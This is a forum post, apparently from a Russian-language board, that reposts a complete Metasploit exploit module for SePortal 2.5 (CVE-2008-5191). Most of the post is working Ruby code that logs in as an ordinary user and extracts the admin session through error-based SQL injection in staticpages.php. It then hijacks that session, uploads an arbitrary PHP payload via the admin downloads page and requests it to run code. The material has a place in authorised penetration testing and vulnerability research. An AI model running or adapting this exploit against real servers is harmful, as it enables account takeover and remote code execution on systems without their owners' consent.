 
SePortal 2.5 SQL Injection / Remote Code Execution Exploit

This Metasploit module exploits a vulnerability found in SePortal version 2.5. When logging in as any non-admin user, it's possible to retrieve the admin session from the database through SQL injection. The SQL injection vulnerability exists in the "staticpages.php" page. This hash can be used to take over the admin user session. After logging in, the "/admin/downloads.php" page will be used to upload arbitrary code.

Код:
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
 
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
 
  def initialize(info={})
    super(update_info(info,
      'Name'           => "SePortal SQLi Remote Code Execution",
      'Description'    => %q{
        This module exploits a vulnerability found in SePortal version 2.5.
        When logging in as any non-admin user, it's possible to retrieve the admin session
        from the database through SQL injection. The SQL injection vulnerability exists
        in the "staticpages.php" page. This hash can be used to take over the admin
        user session. After logging in, the "/admin/downloads.php" page will be used
        to upload arbitrary code.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'jsass', # Discovery
          'xistence <xistence[at]0x90.nl>' # Metasploit module
        ],
      'References'     =>
        [
          ['CVE', '2008-5191'],
          ['OSVDB', '46567'],
          ['EDB', '32359']
        ],
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        =>
        [
          ['SePortal', {}]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Mar 20 2014",
      'DefaultTarget'  => 0))
 
      register_options(
        [
          OptString.new('TARGETURI', [true, 'The base path to the SePortal installation', '/seportal']),
          OptString.new('USER', [true, 'The non-admin user', 'test']),
          OptString.new('PASS', [true, 'The non-admin password', 'test'])
        ], self.class)
  end
 
  def uri
    return target_uri.path
  end
 
  def check
    # Check version
    vprint_status("#{peer} - Trying to detect installed version")
 
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(uri, "index.php")
    })
 
    if res and res.code == 200 and res.body =~ /Powered by \<b\>SePortal\<\/b\> (.*)/
      version = $1
    else
      return Exploit::CheckCode::Unknown
    end
 
    vprint_status("#{peer} - Version #{version} detected")
 
    if version.to_f <= 2.5
      return Exploit::CheckCode::Appears
    else
      return Exploit::CheckCode::Safe
    end
  end
 
  def exploit
 
    print_status("#{peer} - Logging in as user [ #{datastore['USER']} ]")
    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(uri, "login.php"),
      'vars_post' => {
          "user_name" => datastore['USER'],
          "user_password" => datastore['PASS']
      }
    })
 
    if res && res.code == 302 and res.get_cookies =~ /sessionid=([a-zA-Z0-9]+)/
      session = $1
      print_status("#{peer} - Login successful")
      print_status("#{peer} - Session cookie is [ #{session} ]")
    else
      fail_with(Failure::Unknown, "#{peer} - Login was not succesful!")
    end
 
    # Generate random string and convert to hex
    sqlq = rand_text_alpha(8)
    sqls = sqlq.each_byte.map { |b| b.to_s(16) }.join
 
    # Our SQL Error-Based Injection string - The string will return the admin session between the words ABCD<hash>ABCD in the response page.
    sqli = "1' AND (SELECT #{sqls} FROM(SELECT COUNT(*),CONCAT(0x#{sqls},(SELECT MID((IFNULL(CAST(session_id AS CHAR),0x20)),1,50) "
    sqli << "FROM seportal_sessions WHERE session_user_id=1 LIMIT 1"
    sqli << "),0x#{sqls},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '0x#{sqls}'='0x#{sqls}"
 
    print_status("#{peer} - Retrieving admin session through SQLi")
    res = send_request_cgi({
      'method' => 'POST',
      'vars_get'   => { "sp_id" => sqli },
      'cookie' => "sessionid=#{session}",
      'uri'    => normalize_uri(uri, "staticpages.php")
    })
 
    if res and res.code == 200 and res.body =~ /#{sqlq}([a-zA-Z0-9]+)#{sqlq}/
      adminhash = $1
      print_status("#{peer} - Admin session is [ #{adminhash} ]")
    else
      fail_with(Failure::Unknown, "#{peer} - Retrieving admin session failed!")
    end
 
    # Random filename
    payload_name = rand_text_alpha_lower(rand(10) + 5) + '.php'
    # Random title
    rand_title = rand_text_alpha_lower(rand(10) + 5)
    # Random category ID
    rand_catid = rand_text_numeric(4)
 
    post_data = Rex::MIME::Message.new
    post_data.add_part("savefile", nil, nil, "form-data; name=\"action\"")
    post_data.add_part(payload.encoded, "application/octet-stream", nil, "form-data; name=\"file\"; filename=\"#{payload_name}\"")
    post_data.add_part(rand_title, nil, nil, "form-data; name=\"file_title\"")
    post_data.add_part(rand_catid, nil, nil, "form-data; name=\"cat_id\"")
 
    file = post_data.to_s
    file.strip!
 
    print_status("#{peer} - Uploading payload [ #{payload_name} ]")
    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(uri, "admin", "downloads.php"),
      'ctype'  => "multipart/form-data; boundary=#{post_data.bound}",
      'cookie' => "sessionid=#{adminhash}",
      'data'   => file
    })
 
    # If the server returns 200 and the body contains our payload name,
    # we assume we uploaded the malicious file successfully
    if not res or res.code != 200
      fail_with(Failure::Unknown, "#{peer} - File wasn't uploaded, aborting!")
    end
 
    register_file_for_cleanup(payload_name)
 
    print_status("#{peer} - Requesting payload [ #{uri}/data/down_media/#{payload_name} ]")
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(uri, "data", "down_media", "#{payload_name}")
    })
 
    # If we don't get a 200 when we request our malicious payload, we suspect
    # we don't have a shell, either.
    if res and res.code != 200
      print_error("#{peer} - Unexpected response, exploit probably failed!")
    end
 
  end
 
end
 
# DEE700A0A20061C8   1337day.com [2014-03-29]   6DED4FD9F8D9045C #
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх